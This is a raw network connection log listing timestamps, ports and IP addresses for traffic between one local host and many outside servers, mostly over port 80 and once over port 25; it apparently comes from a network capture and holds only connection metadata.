Mar 10, 2023 07:55:14.492019892 CET	49989	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:55:14.518929005 CET	80	49990	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:14.519661903 CET	80	49990	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:14.521578074 CET	49990	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:14.560118914 CET	49990	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:14.638020039 CET	80	49989	104.196.26.65	192.168.2.6
Mar 10, 2023 07:55:14.638544083 CET	80	49989	104.196.26.65	192.168.2.6
Mar 10, 2023 07:55:14.638629913 CET	49989	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:55:14.677747965 CET	49991	25	192.168.2.6	176.119.200.128
Mar 10, 2023 07:55:14.687623978 CET	80	49990	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:14.687726974 CET	49990	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:14.694895029 CET	25	49991	176.119.200.128	192.168.2.6
Mar 10, 2023 07:55:14.695029020 CET	49991	25	192.168.2.6	176.119.200.128
Mar 10, 2023 07:55:14.703128099 CET	49991	25	192.168.2.6	176.119.200.128
Mar 10, 2023 07:55:14.720213890 CET	25	49991	176.119.200.128	192.168.2.6
Mar 10, 2023 07:55:14.723093987 CET	25	49991	176.119.200.128	192.168.2.6
Mar 10, 2023 07:55:14.765364885 CET	49991	25	192.168.2.6	176.119.200.128
Mar 10, 2023 07:55:14.982199907 CET	80	49959	74.208.215.199	192.168.2.6
Mar 10, 2023 07:55:14.982348919 CET	49959	80	192.168.2.6	74.208.215.199
Mar 10, 2023 07:55:14.990565062 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.010154963 CET	80	49992	3.65.101.129	192.168.2.6
Mar 10, 2023 07:55:15.013257027 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.014106035 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.033207893 CET	80	49992	3.65.101.129	192.168.2.6
Mar 10, 2023 07:55:15.034349918 CET	80	49992	3.65.101.129	192.168.2.6
Mar 10, 2023 07:55:15.034543991 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.038456917 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.058163881 CET	80	49992	3.65.101.129	192.168.2.6
Mar 10, 2023 07:55:15.058454990 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.060259104 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.080400944 CET	80	49992	3.65.101.129	192.168.2.6
Mar 10, 2023 07:55:15.081217051 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.083106995 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.102597952 CET	80	49992	3.65.101.129	192.168.2.6
Mar 10, 2023 07:55:15.105186939 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.106808901 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.126245975 CET	80	49992	3.65.101.129	192.168.2.6
Mar 10, 2023 07:55:15.128993988 CET	49992	80	192.168.2.6	3.65.101.129
Mar 10, 2023 07:55:15.294639111 CET	49993	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:15.489788055 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.489909887 CET	49993	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:15.490447998 CET	49993	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:15.685528040 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.686925888 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.686960936 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.686981916 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.687009096 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.687037945 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.687067986 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.687108040 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.687130928 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.687153101 CET	80	49993	122.128.109.107	192.168.2.6
Mar 10, 2023 07:55:15.687247992 CET	49993	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:15.687330961 CET	49993	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:55:15.876919031 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.896925926 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.897156954 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.909624100 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.929714918 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.970288992 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.970328093 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.970349073 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.970381021 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.970413923 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.970436096 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.970457077 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.970509052 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.970578909 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.971509933 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.971541882 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.971564054 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.971780062 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.990490913 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990533113 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990554094 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990575075 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990596056 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990616083 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990636110 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990657091 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990677118 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990721941 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990742922 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990740061 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.990765095 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990787029 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990806103 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.990809917 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.990839005 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.990861893 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.991594076 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.991622925 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.991643906 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.991663933 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.991677046 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.991686106 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.991700888 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.991708040 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:15.991734028 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:15.991753101 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:16.010838985 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.010875940 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.010896921 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.010917902 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.010942936 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.010972023 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.010998964 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.011022091 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.011034966 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:16.011126041 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:16.012125969 CET	49994	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:55:16.018508911 CET	80	49838	69.163.239.62	192.168.2.6
Mar 10, 2023 07:55:16.031653881 CET	49987	80	192.168.2.6	64.125.133.18
Mar 10, 2023 07:55:16.032155991 CET	80	49994	193.70.68.254	192.168.2.6
Mar 10, 2023 07:55:16.987766981 CET	80	49970	157.112.176.4	192.168.2.6
Mar 10, 2023 07:55:16.987948895 CET	49970	80	192.168.2.6	157.112.176.4
Mar 10, 2023 07:55:17.000336885 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.020510912 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.020658970 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.021265030 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.041496038 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.088612080 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.088649988 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.088670969 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.088690042 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.088721991 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.088815928 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.116352081 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.116390944 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.116488934 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.116503000 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.116530895 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.116554976 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.116602898 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.116694927 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.116744995 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.116807938 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.116857052 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.116928101 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.117007017 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.117032051 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.117050886 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.117168903 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.117244005 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.117254019 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.117306948 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.117683887 CET	49996	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:55:17.136753082 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.136790991 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.136850119 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.136903048 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.136943102 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137032986 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137062073 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137106895 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137145996 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137162924 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137195110 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137264967 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137326956 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137392044 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137458086 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137489080 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137542009 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137654066 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137679100 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137705088 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137732029 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137794971 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137842894 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.137933016 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.137985945 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.138014078 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.138072968 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.138147116 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.138204098 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.138237000 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.138372898 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.138385057 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.138443947 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.138453007 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.138520002 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.138578892 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.138622046 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.138704062 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.138763905 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.157433987 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.157474995 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.157496929 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.157519102 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.157598019 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.157603979 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.157665014 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.157737970 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.157793045 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.157824039 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.157900095 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158001900 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158109903 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.158109903 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.158119917 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158217907 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158289909 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.158361912 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158413887 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.158469915 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158639908 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158705950 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.158716917 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158766985 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.158838034 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158893108 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.158930063 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.158982038 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.158987045 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159034014 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.159101009 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159152031 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.159259081 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159389019 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159420013 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159468889 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.159533978 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.159565926 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159692049 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159749985 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159753084 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.159832954 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.159867048 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.159925938 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.159995079 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160060883 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.160098076 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160156965 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.160178900 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160245895 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.160312891 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160423040 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160531998 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.160531998 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.160538912 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160614967 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160674095 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.160758018 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160871983 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.160934925 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.160998106 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.161055088 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.161113977 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.161180019 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.161247969 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.161336899 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.161381960 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.161407948 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.161434889 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.178002119 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178049088 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178112030 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178160906 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.178183079 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178219080 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.178318024 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178334951 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.178389072 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178440094 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.178512096 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178591013 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.178673983 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178725958 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.178749084 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178819895 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178880930 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.178901911 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.178981066 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.179080963 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179128885 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179193974 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.179236889 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179342985 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.179362059 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179464102 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.179481030 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179591894 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179615021 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.179649115 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.179688931 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179801941 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179821014 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.179858923 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.179934025 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.179996014 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180159092 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180229902 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180274963 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.180318117 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.180362940 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180480003 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180557966 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.180582047 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180694103 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.180718899 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180797100 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180808067 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.180857897 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.180916071 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.180982113 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181058884 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181104898 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181119919 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181149960 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181238890 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181349039 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181467056 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181473017 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181514025 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181598902 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181658030 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181714058 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181766987 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181833982 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181900978 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181905985 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181930065 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.181953907 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.181976080 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.209125996 CET	80	49732	99.83.154.118	192.168.2.6
Mar 10, 2023 07:55:17.209359884 CET	49732	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:55:17.291264057 CET	80	49996	107.180.98.101	192.168.2.6
Mar 10, 2023 07:55:17.291421890 CET	49996	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:55:17.292274952 CET	49996	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:55:17.373696089 CET	80	49862	147.154.0.23	192.168.2.6
Mar 10, 2023 07:55:17.374264956 CET	49862	80	192.168.2.6	147.154.0.23
Mar 10, 2023 07:55:17.456188917 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.456224918 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.456278086 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.456307888 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.456346989 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.456438065 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.456489086 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.456510067 CET	80	49995	62.75.216.137	192.168.2.6
